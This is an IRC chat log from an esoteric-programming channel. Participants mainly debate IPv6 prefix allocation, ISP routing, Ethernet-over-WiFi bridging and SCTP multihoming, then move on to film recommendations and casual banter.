21:35:39 <elliott> ais523: ANARCHY AND CHAOS
21:35:40 <ais523> ooh, is that two wallops in a week?
21:35:45 <pikhq> fizzie: Only the router.
21:35:48 <elliott> ais523: hmm, could you just unprotect the main page and all templates?
21:35:55 <elliott> and wait for some newbie to try and edit it for the first time?
21:36:03 <pikhq> fizzie: Everything else just autoconfigures the normal way.
21:36:05 <ais523> elliott: that is /possible/, but there are steps in place to make it very timeconsuming
21:36:08 <elliott> (I doubt regular mischief-makers think to see if the main page has been unprotected.)
21:36:12 <pikhq> With the *end user's router* supporting it.
21:36:15 <elliott> ais523: yeah, that cascade protect stuff... how does it work?
21:36:20 <ais523> and also noticeable, so that you'd likely be stopped before you could
21:36:24 <elliott> also, what wallop?
21:36:24 <fizzie> pikhq: None of the routers do support that sort of thing, you know.
21:36:26 <ais523> elliott: one page can be used to place a protection lock on another
21:36:31 <ais523> [wallops] Hi all. We've had some technical issues with our webchat setup for the last couple of hours resulting in people being unable to connect and/or timing out. Everything should be resolved now. Sorry for the downtime!
21:36:41 <elliott> hm, i didn't see that
21:36:43 <pikhq> fizzie: ...
21:36:59 <pikhq> fizzie: You mean none of your "routers" do DHCP?
21:37:05 <ais523> so you need to unprotect and/or edit the Main Page itself, 10 pages designed just for the purpose of locking it down, and various other secret ones
21:37:16 <fizzie> pikhq: I mean for IPv6 deployment.
21:37:24 <pikhq> Right, DHCP.
21:37:32 <elliott> ais523: haha, what are those 10 pages? ... what are the secret ones?
21:37:36 <pikhq> Or stateless autoconfiguration.
21:37:37 <elliott> it's ok, if you whisper, google won't hear
21:37:43 <Ilari> If the prefix is static, then autoconfigured address (unless you have privacy extensions enabled) will be static too.
21:37:52 <fizzie> pikhq: The whole "configure a route for your ISP, also a prefix, then do radvd-style router advertisement for the inner network"; that's not something they do.
21:37:54 <ais523> meh, I can't remember, although you could find out if you really wanted to
21:38:27 <pikhq> fizzie: Actually, the whole "do anything with IPv6" isn't really something they do right now.
21:38:35 <pikhq> So hey.
21:38:43 <fizzie> They do the bridging of IPv6 protocol Ethernet frames just fine.
21:39:05 <elliott> ais523: but i thought they were seekrit
21:39:10 <ais523> not deliberately
21:39:12 <pikhq> Yes, that's because that's not routing. Or even knowledge of IP.
21:39:23 <ais523> they were originally just an ad-hoc way of preventing the main page being unprotected accidentally when someone deleted it
21:39:26 <ais523> which tended to happen quite al ot
21:39:27 <ais523> *a lot
21:39:47 <ais523> at least, the first two (or three) times it was deleted, either maliciously or accidentally, people forgot to reprotect it after undeleting it
21:39:47 <pikhq> They'd work just as fine with freaking Netware or SMB over Ethernet.
21:39:50 <fizzie> Yes, which also means it works since what, three-five years ago.
21:41:53 <pikhq> Still stupid and involves your ISP running a router per customer for no good reason.
21:42:17 <fizzie> A single router can, you know, have multiple routes in it.
21:42:39 <pikhq> (okay, so they probably have just a single router acting as multiple gateway devices, but still, that's a lot of *completely pointless* administrative overhead.)
21:42:45 <ais523> IIRC there's a company that rents DVD players
21:43:02 <ais523> not the DVDs themselves; rather, they have links over the Internet from the DVD player you rented to your computer screen
21:43:10 <fizzie> Oh, so there's no "administrative overhead" (what does that even mean?) for setting up those point-to-point links and routes of customer networks over them?
21:43:13 <ais523> and you can ask them to put various DVDs they own in the player you're renting
21:43:45 <ais523> that reminds me rather of that router situation you're talking about
21:44:20 <fizzie> What they're doing for IPv6 isn't any different than what they already were doing for IPv4, except instead of routing a few discontiguous IPv4 addresses into each interface-representing-a-link-to-a-customer, they route a static /64 into it.
21:44:56 <Ilari> Or one block larger than /64...
21:45:29 <pikhq> Why not just have a fucking routing table? Like they already have to?
21:46:07 <fizzie> I really am not getting your objections here. They need to have a routing table entry for each of the customer prefixes even if there is a IPv6-capable router on the customer's side.
21:46:07 <pikhq> I'd imagine it's a heck of a lot easier to just say "route add FOO gateway BAR" than to spawn a whole network.
21:46:32 <fizzie> It's "route add FOO dev BAR" instead.
21:46:36 <fizzie> Whoo, how difficult.
21:47:29 -!- Tritonio_GR has quit (Quit: Leaving).
21:47:36 <fizzie> For the alternative setup, you'd have a point-to-point link over device BAR (maybe with link-local addresses), and then a fixed prefix routed with that as the gateway. But that's assuming IPv6 capable routers and people actually having to configure those.
21:49:04 <pikhq> Anyways, all that only works if your end users are only ever going to have a single network...
21:49:16 <pikhq> Last I checked, a /48 was still the recommended end-user allocation.
21:49:26 <fizzie> Some recommend /56 pretty seriously.
21:49:35 <fizzie> Wasn't that the new APNIC policy? Or someone's, anyway.
21:49:44 <pikhq> Specifically so that end users can have more than one network.
21:50:04 <fizzie> FWIW, at least if you're a commercial consumer and want multiple, routable networks, you can just call the support desk, agree on a gateway address, and have them add a routing table entry for a /56 using that as a gateway.
21:50:31 <fizzie> Their whole IPv6-to-home is, I gather, a sort of a trial thing that needs to, you know, work without the users having to worry about it.
21:50:47 <fizzie> (And using the existing DSL network/hardware/whatever.)
21:51:30 <pikhq> fizzie: Okay, I think my main actual objection with your ISP's practices are this: it keeps normal users essentially running with some "special", dumbed down Internet access, rather than actually using it as intended.
21:51:53 <ais523> fizzie: if it works with existing routers, that's actually pretty interesting
21:52:10 <ais523> would that work with existing wireless routers too? or just the wired versions with a fixed number of PCs?
21:52:31 <fizzie> ais523: "Yes" if they bridge the wireless network into the same link-level segment.
21:52:51 <pikhq> Granted, they get actual public IP addresses now, but it's still quite limiting in what can be done.
21:52:53 <ais523> what I meant was, can typical wireless routers be configured to do that?
21:53:02 <fizzie> pikhq: I do have to admit I'm not happy at the hack I needed to do to fit together my NAT-based multiple-subnets-IPv4 and their not-so-routable /64.
21:53:14 <elliott> <pikhq> fizzie: Okay, I think my main actual objection with your ISP's practices are this: it keeps normal users essentially running with some "special", dumbed down Internet access, rather than actually using it as intended.
21:53:18 <elliott> What does that even *mean*.
21:53:32 <fizzie> ais523: At least those that do the whole DSL and WLAN things in the same box I think usually can.
21:53:37 <fizzie> Sowwy, away a few minutes now.
21:54:09 <pikhq> elliott: God dammit I want to run a router, set it up how I want, and have my own freaking network.
21:54:19 <elliott> "normal users"
21:54:24 <elliott> I don't see how it's "dumbed down" for "normal users".
21:54:31 <elliott> Since they just use the default router config.
21:54:55 <pikhq> elliott: Basically all they can do with that is whatever network can be set up with Ethernet switches.
21:55:49 <pikhq> Let's say you want to have a wireless link between two Ethernet segments. Sorry, no can do, because you can't freaking bridge Ethernet over Wifi!
21:57:49 <fizzie> Why couldn't you? (I mean, obviously it's a terrible idea, but why wouldn't it "work" to some degree?)
21:57:52 <Phantom_Hoover> pikhq, surely you can just by doing it from scratch on a pin-by-pin basis?
21:58:19 <copumpkin> GAH
21:58:26 <copumpkin> why aren't there SMT solvers that implement what I want
21:59:13 <fizzie> I admit J. Random Access-Point probably wouldn't support it; mine does "bridge ethernet and Wifi", and different sort of "repeater" setups, but not exactly "the other way around" bridging.
21:59:39 <pikhq> fizzie: Can't have a Wifi host using multiple MAC addresses at all.
21:59:39 <ais523> <toefraz> DON'T APNIC!
21:59:44 <ais523> that was actually pretty good...
22:00:06 <fizzie> pikhq: Uh, my access point currently bridges the Ethernet and Wifi networks together.
22:00:24 <pikhq> fizzie: Yes, an access point can.
22:00:42 <copumpkin> I NEED MOAR THEORIEZ
22:00:56 <pikhq> fizzie: The access point would be horribly confused if you then decided to bridge an Ethernet segment to the other one *over* the Wifi.
22:01:27 <fizzie> Yes, well, I don't see why it couldn't then also cooperate with a device to do the same for another Ethernet segments. They already do repeating-style cooperation.
22:01:42 <ais523> pikhq: wouldn't ISPs be confused anyway if their customers started peering with each other?
22:02:15 <pikhq> A Wifi MAC address is more of a radio identifier than a network device identifier.
22:02:22 <ais523> (certainly, they shouldn't trust customers advertising routes outside their own network...)
22:03:23 <pikhq> Of course, with some finangling you could do Ethernet over IP to get it to work, but that's beside the point...
22:03:51 <fizzie> pikhq: Actually, the access point I have actually explicitly supports a "wireless bridge" mode.
22:03:57 <ais523> pikhq: why would you expect it to work if ISP customers started peering with each other?
22:04:12 <fizzie> You have to give it the MAC of another same-manufacturer access point in the same mode; then it does a point-to-point wireless link.
22:04:20 <pikhq> ais523: I doubt it would, as an ISP would *probably* be doing route filtering.
22:04:30 <pikhq> ais523: If they used a routing protocol at all.
22:04:36 <ais523> well, they should, at least
22:04:46 <ais523> trusting advertised routes of your own customers has got even large ASes into trouble before now
22:04:56 <pikhq> fizzie: Yeah, it's doing a proprietary Ethernet-over-Wifi tunnel...
22:05:03 <ais523> in the case of ASes, there are global tables listing the routes they're supposed to advertise
22:05:17 -!- elliott has quit (Ping timeout: 265 seconds).
22:05:20 <ais523> at the ISP level, I assume you should only trust advertised routes from your customers that you told them to advertise
22:05:25 <pikhq> ais523: I'm not even talking about peering, though.
22:05:45 <ais523> that's what it would effectively be, if you decided to bridge your network to another customer's
22:05:58 <ais523> and also insane, because since when did home customers peer?
22:06:00 <pikhq> ais523: You don't seem to understand how Ethernet works at all.
22:06:16 <pikhq> ais523: Or, indeed, what I'm talking about at all.
22:06:24 <ais523> pikhq: I do; on the other hand, I'm not sure I understand what you're talking about
22:06:31 <fizzie> pikhq: Despite your objections on grounds of conceptual purity, I wouldn't be all that surprised if the norm for "consumer internet" would in fact become something like "we assign (maybe even dynamically) a /64 for each consumer, and if they need some sort of more complicated network setup, with multiple routable subnets, they're welcome to talk to our business connectivity side".
22:06:50 <pikhq> ais523: Bridging two Ethernet segments together gets you a *single* network.
22:07:08 <ais523> pikhq: oh, I thought you were routing them together
22:07:10 <pikhq> ais523: It is in fact the same thing as just running a cable between two switches.
22:07:13 <ais523> so it's not peering, just a mess
22:07:29 <ais523> I mean, I don't see why you'd expect that to work with any other setup either
22:07:30 <pikhq> ais523: I'm talking about using a Wifi link instead of a physical cable for this.
22:07:46 <ais523> I'd expect it to be insane even with a physical cable
22:08:04 <ais523> at least in IPv4, because you'd expect clashes in 10/8 or 192.168/16 with a typical consumer setup
22:08:18 <pikhq> ais523: I'm not *talking about linking it to someone else's network*.
22:08:29 -!- augur has quit (Remote host closed the connection).
22:08:31 <ais523> pikhq: well, what are you linking it to, then?
22:08:44 <pikhq> ais523: Let's say you have 5 computers in a room on the other side of the house from your router.
22:09:06 <pikhq> ais523: You want to hook those up.
22:09:09 <ais523> oh, so you're putting a wireless link inside your normal home network
22:09:21 <pikhq> ais523: You'd love to use Wifi, but you can't, because you can't bridge two Ethernet segments via Wifi.
22:09:22 <ais523> so why does it matter that it's wireless?
22:09:34 <ais523> hmm, indeed you can't
22:10:20 <pikhq> Now, if you had a proper router, you *could* set that up as a seperate network, get routes set up, and voila.
22:10:43 <ais523> and in fizzie's situation, you'd need some sort of double bridge to do the same thing
22:10:57 <ais523> which doesn't seem that much less plausible
22:11:51 <pikhq> Just an example of when you'd want your connection from ISP to home to go through something smarter than a dumb Ethernet switch.
22:12:00 <pikhq> Hmm.
22:12:18 <pikhq> fizzie: Can that setup even support a per-network firewall?
22:12:45 <pikhq> I wouldn't *think* so, but you never know.
22:12:54 <ais523> pikhq: I don't see why you couldn't get a firewall to pretend to be a bridge; that's more or less what it would be doing at a per-computer level
22:12:59 <fizzie> pikhq: Sure, they're still separate devices. It's not exactly on the elegant side, though, especially if you'd want a hierarchy there.
22:13:40 <pikhq> Bleck.
22:14:23 <fizzie> And like I said, I wouldn't be all that surprised if "you get a single /64 and stop whining" would become the norm for consumer setups.
22:14:53 <pikhq> Dammit, going to have to get business service anyways.
22:15:14 <fizzie> Though I might be wrong and something like the /56 *could* become the default "end-user" network size even for "end users" that are homes.
22:15:31 <ais523> a /64 is surely enough for a home, especially if it's done pikhq-style rather than fizzie-style
22:15:33 <pikhq> Hmm. Actually, probably would anyways, if I want to have such simple niceties as "a static IP" and "reverse DNS" and such.
22:15:40 <ais523> you're going to get a routable static public IP per computer
22:15:52 <fizzie> ais523: Even done "pikhq-style", you can't really route "parts" of a /64.
22:15:54 <ais523> unless they decide to make the first 64 bits dynamic just to persuade you to upgrade
22:15:55 -!- hagb4rd has joined.
22:16:09 <ais523> fizzie: well, you can still send messages to them from outside
22:16:22 <fizzie> ais523: How is that relevant?
22:16:34 <pikhq> fizzie: Bit hackish, but you certainly *could* subnet a /64.
22:16:39 <ais523> mostly because it's what you can't easily do with current IPv4
22:16:46 <ais523> I wasn't referring to subnetting at all, just having more than one computer there
22:16:53 <fizzie> ais523: Yes, but you get that even if it's done "fizzie-style".
22:17:05 <ais523> fizzie: indeed
22:17:31 <fizzie> pikhq: At least the stateless autoconfig will break for that. And I assume some operating systems might also barf on that.
22:17:49 <fizzie> But I guess it's "more possible" than subnetting a /64 implemented "fizzie-style".
22:18:17 <fizzie> Though do note that I've done pretty much exactly that.
22:18:54 <fizzie> The only thing that requires a separate "hack" is that the customer-side router doing the routing needs to be configured to reply to neighbor discovery packets for any hosts that are inside the networks it wishes to route further.
22:19:10 <fizzie> Then it will receive all packets directed to those networks, and can route them over to wherever you want.
22:20:27 <fizzie> If you forego address autoconfig, something like Linux can already do that; it's just "ip -6 neigh add proxy [address] dev [external-interface]" + a 1 into a proxy_ndp config flag. Then it'll reply to neighbor-discovery for [address] on [external-interface] with its own link-level address.
22:21:23 <fizzie> APNIC current policy seems to be: "The exact size of the assignment is a local decision for the LIR or ISP to make, using a minimum value of a /64 (when only one subnet is anticipated for the end site) up to the normal maximum of /48, except in cases of extra large end sites where a larger assignment can be justified."
22:21:31 <fizzie> That certainly doesn't constrain anything.
22:22:11 <fizzie> Though I wouldn't expect a largeish ISP with, say, 16 million consumers, to dedicate a /24 so that they can assign a separate /48 to each of those.
22:22:43 <Phantom_Hoover> http://upload.wikimedia.org/wikipedia/commons/6/67/Fully_functional_membrane.jpg
22:22:53 <Phantom_Hoover> This is an actual illustration in a WP article.
22:22:55 <ais523> /56 seems the right size for a typical customer, or maybe /64 for residential customers who aren't very technical and don't want to pay extra
22:23:16 <ais523> Phantom_Hoover: I was wondering why it was a jpeg from the name
22:23:24 <ais523> also, that's useful, why not keep it until a better-quality image comes along?
22:23:46 <ais523> and please, link to the Image: page not the image itself, it's a pain to go the other way
22:23:48 <Phantom_Hoover> ais523, it is *handwritten* with a *biro* on *paper*.
22:24:16 <ais523> so?
22:24:17 <fizzie> ais523: The problem with that sort of logic is that since 99.8% of consumers "aren't very technical and don't want to pay extra", it very easily happens that the remaining 0.2% aren't seen as worth the hassle of actually providing different types of service.
22:24:27 <ais523> I don't see how that makes it any less useful
22:24:32 <fizzie> (Numbers generated with the Stetson-Harrison method.)
22:24:42 <Phantom_Hoover> ais523, it looks incredibly ridiculous.
22:25:10 <fizzie> Phantom_Hoover: Yeah, I'd rewrite it with Graphviz instead.
22:25:10 <ais523> fizzie: you'd be surprised; I heard of an ISP who are advertising peering agreements with most of the major online gaming companies, so they can claim shorter ping times for online games
22:25:31 <Phantom_Hoover> fizzie, are you referring to that graph language?
22:25:33 <fizzie> ais523: "Gamers" are a very much larger market segment than "techies".
22:25:37 <fizzie> Phantom_Hoover: Yes.
22:25:53 <ais523> fizzie: they're the sort of people who'd care about their subnet size for no reason at all, though
22:26:08 <Phantom_Hoover> I suppose it's just because my handwriting is legendarily awful.
22:26:19 <fizzie> ais523: What, gamers? Why on earth would they care about that?
22:26:33 <ais523> the same reason they care about a whole bunch of other things that are actually irrelevant
22:26:43 <ais523> you should see what they do to a typical Windows installation some time
22:27:26 <fizzie> I'm not sure how you'd manage to establish the link between subnet size (some other "sizes", certainly) and gaming prowess in their minds, except maybe by some very clever marketing.
22:28:13 <fizzie> But still: speed is one thing, complicated local network topologies are quite another.
22:28:21 <fizzie> You could sell them faster connections, though.
22:28:43 <ais523> you'd say that they couldn't host LAN parties and still remain online easily without it
22:28:54 <fizzie> H-mhm, that might actually work.
22:29:03 <fizzie> For some values of "work".
22:29:21 <ais523> I'm not actually sure how true my statement is; although it's definitely misleading
22:29:22 <fizzie> I mean, a LAN party is not exactly something you'd need a separate network for.
22:29:27 <ais523> and also something that people generally don't care about
22:31:29 <fizzie> Speaking of faster connections, a local... I don't know what they are nowadays, telco/cable-TV-operator/ISP/mobile-operator (it's the Age of the Convergence) just sent our "apartment building governance construct" (I don't know the corresponding legal entities abroad) a letter that they'd like to dig a trench and put some fibre to our basement.
22:31:53 <fizzie> They didn't say anything about actually using that for anything; just that they'd pay for the digging (unless there's an existing pipe they could use), and it wouldn't really inconvenience us.
22:32:01 <fizzie> They'd even replant the grass if they had to disturb it.
22:32:38 <fizzie> The general suspicion is that they're going to follow it with "say, now that we have this nice cable, how about you buy a building-wide Internet system from us too with not much extra cost?"
22:33:12 <fizzie> We decided to let them install their cable anyway; it's not like it'd be in anyone else's way.
22:33:44 <ais523> fizzie: my guess as to the motive, is so that if anyone in the apartment building wanted to buy internet from them, they could offer higher speeds
22:34:11 <ais523> much the same thing happens with Virgin Media in the UK; they put high-speed links in random places so they can quote higher speeds to people around there if they're considering getting broadband
22:34:55 <fizzie> From what I have heard, they generally first offer some sort of "baseline service" to the apartment building "company" -- so that the money-to-cover-costs-of-the-building money pays for the installation of hardware at our end, and everyone gets a base-level network service for "free".
22:35:21 <fizzie> Once that's in place, they start to offer more expensive, faster connections to people who want that.
22:36:27 <fizzie> That's the sort of thing that leads to huge arguments between the apartment-owners in the yearly meetings, since there's always a contigent of people who couldn't care less about internet, but *definitely* care about not paying a dime for *other* people's net.
22:37:29 <fizzie> I'm not sure if they do offer a financing setup that only involves people-who-buy-network-from-them paying. At least that would probably need a threshold-exceeding group of people agreeing to buy the connections, first.
22:38:26 <olsner> ... either way, you'll end up paying more than you should for internet that's slower than it should be
22:38:37 <olsner> as always
22:38:56 <fizzie> It wouldn't even be especially fast, since they're not going to start actually doing new building-internal cabling -- this thing was built in 1984, they didn't de-facto Ethernet everything back then -- so everything's going to have to go via the old landline telephone cabling anyway.
22:39:02 <fizzie> (Or power lines, or some other screwball thing.)
22:39:25 <fizzie> But they do offer some sort of VDSL that's based on the fact that it's a far shorter piece of telephone cable.
22:40:34 <fizzie> I think 1M/1M is their "base rate" for the VSDL2 service, and the extra-price options are 10M/10M and 100M/10M (down/up).
22:42:11 <fizzie> The company in question falls quite definitely on the "clueless" side of the spectrum.
22:42:32 <fizzie> Their ads say the service comes with "5 URL addresses, with 25 MB of space per address".
22:43:11 <fizzie> I guess that is to be read such that you can have up to five separate files, each up to 25 MB large.
22:45:16 <quintopia> that is ... what?
22:45:20 <quintopia> guh
22:45:45 <ais523> fizzie: there's a shop on my way to University that advertises, using the old posters-in-windows techniques, making customized T-shirts, leaflets, and web pages for your business
22:45:52 <ais523> note: not websites; just a page on their own site
22:46:03 <ais523> this confused me rather
22:46:40 -!- impomatic has joined.
22:46:52 <fizzie> ais523: A local TV program (admittedly in Internet times this was pretty early) said in the ending credits "email: http://www.yle.fi/something"
22:47:07 <ais523> ouch
22:47:13 <fizzie> There was a feedback form there, I think.
22:47:15 <ais523> that's worse than sites advertising @hotmail email addresses
22:49:41 -!- ais523 has quit (Remote host closed the connection).
22:51:14 <Ilari> Apparently Sonera FAQs also mention those mystical 6-digit IPv6 addresses...
22:51:49 <fizzie> Ilari: Oh?-)
22:52:01 <fizzie> I didn't know it was quite *that* bad.
22:52:59 <Ilari> Ah, apparently they have removed that bit now...
22:54:01 <impomatic> I'm thinking about reimplementing CRB in C - http://www.retroprogramming.com/2011/02/celebrating-30-years-of-color-robot.html
22:54:02 <fizzie> If this building *did* end up getting the "free as part of the generic costs" deal, then I could realize my dream and finally set up a multihomed system. :p
22:54:24 <fizzie> Of course since they wouldn't peer me any routing tables or anything, I'd have to just basically randomly load-balance the connections.)
22:54:25 <impomatic> At the moment the only simulator in proprietary :-(
22:56:15 <fizzie> Ilari: Sonera does appear to have gotten a IPv6 /20 delegation from RIPE back in 2004; there's a newspost about it. They sure have made good use of those 324518553658426726783156020576256 addresses, given that they don't provide any sort of IPv6 service, as far as I know.
22:59:14 <fizzie> Ilari: Oh, and there's a set of TeliaSonera "IPv6 Deployment Plans" slides from RIPE-49 (September 2004) that say "We want to have support for IPv6 in all of our IP Networks both Mobile and Fixed within two years". :p
22:59:24 <fizzie> (It also has pretty broken engrish here and there.)
22:59:52 -!- impomatic has quit (Read error: Connection reset by peer).
23:01:00 -!- impomatic has joined.
23:11:25 -!- FireFly has quit (Quit: swatted to death).
23:16:27 -!- Phantom_Hoover has quit (Remote host closed the connection).
23:19:50 -!- pumpkin has joined.
23:22:03 -!- copumpkin has quit (Ping timeout: 246 seconds).
23:35:18 <Vorpal> <fizzie> Of course since they wouldn't peer me any routing tables or anything, I'd have to just basically randomly load-balance the connections.) <-- use sctp!
23:36:18 <pikhq> Oh, right, SCTP actually has multihoming work without any effort.
23:37:49 <fizzie> For any sort of "sensible" multihoming it'd still need some clue about prefixes to not go "the long way around" for nearby-via-one-connection nets.
23:40:55 <fizzie> There's also HIP, which has been much researched by the folks in the telecommunications lab two floors down from my working place.
23:40:59 <fizzie> I gather it's quite horrible.
23:41:27 <fizzie> And doesn't exist, and the specs are really vague, and it's more some sort of an overcomplicated metaprotocol.
23:41:34 <fizzie> But it does some multihoming-related things.
23:41:51 <fizzie> (That was based on a telecom-related friend's opinion; haven't inspected it myself.)
23:42:54 <pikhq> SCTP's multihoming involves hosts informing the other end of the connection about the IP addresses that it can be reached at, and determining which specific path to use...
23:43:41 <pikhq> So in theory it should select the fastest path and use that.
23:48:36 -!- pikhq_ has joined.
23:48:56 -!- pikhq has quit (Ping timeout: 272 seconds).
23:50:16 <fizzie> I suppose some sort of per-connection measurement thing like that should work.
23:50:27 -!- pikhq_ has changed nick to pikhq.
23:50:57 <pikhq> It'd at least avoid doing anything *too* stupid.
23:52:25 <fizzie> So how many services can you reach by sctp today?-)
23:52:33 <pikhq> Not many.
23:53:01 <pikhq> Though because SCTP lets you embed it into UDP, it's at least possible to use on any OS.
23:53:24 -!- BeholdMyGlory has quit (Remote host closed the connection).
23:53:37 <pikhq> Though it only works natively on most of the Unices.
23:53:41 -!- azaq231 has joined.
23:53:51 -!- azaq231 has quit (Changing host).
23:53:51 -!- azaq231 has joined.
23:55:50 -!- azaq23 has quit (Ping timeout: 255 seconds).
2011-02-03
00:00:28 -!- azaq231 has quit (Ping timeout: 240 seconds).
00:05:22 -!- elliott has joined.
00:05:36 <pikhq> elliott: Have you watched the Princess Bride yet?
00:08:36 -!- azaq23 has joined.
00:10:20 <elliott> i should reaaaally switch isos
00:10:20 <elliott> isps
00:10:41 <pikhq> elliott: Have you watched the Princess Bride yet?
00:11:59 <Sgeo> If I say I've watched the Princess Bride, that will mean elliott will not watch it. And thus I deprive elliott of entertainment.
00:12:15 <Sgeo> [Note: elliott does not seem to avoid enjoying the fiction I enjoy]
00:13:04 <pikhq> elliott: If not, why aren't you watching it right now?
00:13:12 <pikhq> And you *better* have a good reason.
00:14:03 -!- TLUL has joined.
00:14:30 <pikhq> I'm not even kidding.
00:14:59 <elliott> Vorpal still hasn't asked
00:15:06 <Sgeo> Because Randall Munroe likes it!
00:15:10 -!- TLUL has changed nick to Jjjj_J_J_J.
00:15:24 <Vorpal> night →
00:15:48 <Sgeo> elliott, at any rate, go watch Princess Bride.
00:15:53 <pikhq> Sgeo: I don't think there's anyone who's seen it who *doesn't* like it.
00:17:32 <elliott> Vorpal: psht
00:17:46 <quintopia> elliott: do what sgeo says
00:22:28 <elliott> qwertyui
00:24:07 <elliott> pqwt
00:25:07 -!- cheater- has quit (Ping timeout: 240 seconds).
00:25:11 <quintopia> you're not watching the princess bride
00:26:16 <elliott> http://i.imgur.com/KEfZv.pnghttp://i.imgur.com/KEfZv.pnghttp://i.imgur.com/KEfZv.pnghttp://i.imgur.com/KEfZv.pnghttp://i.imgur.com/KEfZv.png
00:38:10 <elliott> hmm ais is gone
00:38:24 <pikhq> You're not watching the Princess Bride.
00:38:53 -!- cheater- has joined.
00:43:41 -!- Mannerisky has left (?).
00:43:46 <Sgeo> I know being good at arithmatic isn't really something that's... entirely necessary for understanding math, but surely simple shortcuts are kind of necessary
00:44:47 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
00:47:44 <elliott> pikhq: go away
00:47:53 <pikhq> elliott: No, but seriously.
00:48:59 <Gregor> DAMN IT FLUIDSYNTH X_X
00:49:13 <pikhq> Gregor: What say ye?
00:49:22 <Sgeo> elliott, if you don't watch it now, I'll spoil it for you
00:49:29 <Gregor> fluidsynth is the worst piece of excellent software I've ever used X_X
00:50:18 <pikhq> Gregor: No, regarding the movie nobody dislikes.
00:50:35 <Gregor> I'm not reading the conversation :P
00:50:53 <pikhq> Gregor: elliott hasn't watched The Princess Bride. We are attempting to get him to.
00:50:53 <elliott> Our next aim is to make amends to our god for all our bad behaviour
00:50:54 <elliott> over the previous turns. Angry gods are generally quite hard to
00:50:54 <elliott> please, demanding the sacrifice of a single very poweful monster to
00:50:54 <elliott> make amends (rather than several sacrifices of anything like they
00:50:54 <elliott> usually do, which is typically easier to come across). Luckily, we
00:50:56 <elliott> happen to have a shopkeeper corpse handy; unluckily, they're very
00:50:59 <elliott> ais523: "poweful"
00:51:16 <elliott> Gregor: I haven't watched The Princess Bride yet, because I have a ten-year-long backlog of fiction to consume, and now nobody will shut up.
00:51:18 <Gregor> elliott: Nobody gives an eff. It's a cult classic, which is to say a bad movie.
00:51:26 <pikhq> Gregor: ...
00:51:32 <pikhq> Gregor: Something is wrong with you.
00:51:37 <elliott> Gregor: I have a feeling you're wrong, but thank god there's somebody in the world who won't bug me about it.
00:51:38 <Gregor> WHERE'S MY DAMNED TROLLFACE UNICODE CODEPOINT ALREADY
00:51:43 <elliott> :p
00:52:01 <pikhq> elliott: Top of the queue. It's the most important.
00:52:02 <Sgeo> Why is everyone bugging elliott _now_?
00:52:11 <Sgeo> pikhq, no, it's not?
00:52:21 <pikhq> Sgeo: What movies should he see first?
00:52:34 <elliott> pikhq: My backlog is very, VERY long.
00:52:35 <Sgeo> pikhq, I don't know what's on his list
00:53:00 -!- m00barax has joined.
00:53:41 <pikhq> elliott: Well, you've probably seen most of the other movies on the "Movies you've seen if you haven't been living under a rock" list, so. :P
00:53:56 * Sgeo still hasn't seen Inception
00:54:03 <elliott> pikhq: I really *haven't*.
00:54:11 <elliott> My backlog is _extremely_ long.
00:54:11 <m00barax> hi, exothermix
00:54:16 <elliott> m00barax: :wat:
00:54:18 <pikhq> elliott: Do tell.
00:54:31 <elliott> pikhq: I don't consume fiction, I put fiction on my "to consume" list.
00:54:40 <elliott> pikhq: For instance: The entire Culture series is high up on that list.
00:54:49 <pikhq> elliott: Have you seen Star Wars?
00:55:02 <elliott> Well, yes. (I dislike the Star Wars films.)
00:55:02 <fizzie> elliott: You put fiction on your list but don't inhale?
00:55:14 <elliott> fizzie: It depends on the meaning of "on".
00:55:29 <pikhq> elliott: Lemme guess. Prequels ruined it for you?
00:55:54 <elliott> pikhq: No... I actually don't like Star Wars Episode IV: A New Hope. Independently from any other film.
00:56:13 <pikhq> Weird.
00:56:16 <elliott> It's entertaining in parts, but I don't really think it's a good film. And the other films in the series don't appeal to me at all.
00:56:54 <elliott> pikhq: BUT THE HOLIDAY SPECIAL, I LOVE THAT
00:56:58 <elliott> (JOKE)
00:57:06 <pikhq> Anyways, *that's* an example of a movie I'd accuse you of having lived under a rock for not having seen.
00:57:41 <pikhq> Even if you didn't *like* it, well, WTF how could have not seen it.
00:58:44 * Sgeo has not seen it
00:58:52 <elliott> pikhq: Star Wars was a lucky guess though, guess again and you'll probably hit something I haven't seen.
00:58:56 <m00barax> yep
00:59:01 <Sgeo> Hi m00barax
00:59:20 <pikhq> Sgeo: ... Lolwut?
00:59:33 <pikhq> elliott: Uh. Heck, let's just go with "Pixar" here.
00:59:45 <elliott> pikhq: Why are you guessing properly :P
00:59:46 <Sgeo> I've.. seen a flash animation that has vaguely the plot
01:00:01 <elliott> I haven't seen Cars or Ratatouille or WALL-E, though.
01:00:02 <elliott> So ha!
01:00:08 <pikhq> elliott: Because I'm actually guessing ones that seriously everyone has seen and should see.
01:00:12 <elliott> I HAVE NOT SEEN THE ENTIRE PIXAR BACK CATALOGUE
01:00:19 <pikhq> elliott: START WATCHING.
01:00:24 <m00barax> hi
01:00:26 <pikhq> elliott: GET THROUGH YOUR BACK CATALOGUE.
01:00:31 <pikhq> elliott: I EXPECT TO SEE YOU NEXT YEAR.
01:00:36 <elliott> WALL-E is on the backlog, the others aren't.
01:00:45 <elliott> I've seen every Pixar film other than those three :P
01:00:49 <m00barax> i love ufo and prime numbers
01:00:49 <pikhq> Okay, Cars is probably skippable.
01:00:58 <Sgeo> Dagobah. That's a Star Trek thing, apparently. Where else have I seen it?
01:01:09 <pikhq> Sgeo: Star Wars.
01:01:13 <Sgeo> Erm, yeah
01:01:15 <elliott> Hmm, stone or wood-bordered glass...
01:01:16 <Sgeo> Wow I'm tired
01:01:24 <elliott> m00barax: this is a channel about programming
01:01:28 <Sgeo> >.> I KNOW THE DIFFERENCE BETWEEN THE TWO DAMMIT
01:01:55 <Sgeo> Prime numbers are more than welcome here, though
01:02:14 <pikhq> elliott: Hmm. Having trouble thinking of more movies that both *must* be seen by everyone and *have been* seen by most everyone.
01:03:15 <m00barax> pgm esoterik ?
01:03:19 <pikhq> Cause you start getting into movies that everyone should see but are too old to have been seen by just about everyone alive. :P
01:03:25 <elliott> m00barax: programming.
01:03:34 <pikhq> Perhaps everyone above $age, but hey.
01:03:35 <m00barax> wich kind of langage ?
01:03:36 <Sgeo> m00barax, have you heard of Brainfuck?
01:03:41 <elliott> m00barax: esoteric programming languages
01:03:46 <m00barax> yes bf.... lulz
01:03:48 <Sgeo> m00barax, computer languages with limited practical use.
01:03:51 <elliott> pikhq: I haven't seen Casablanca. Or Citizen Kane. Or ... yeah :P
01:03:55 <elliott> m00barax: Well, yes.
01:03:55 <m00barax> yes
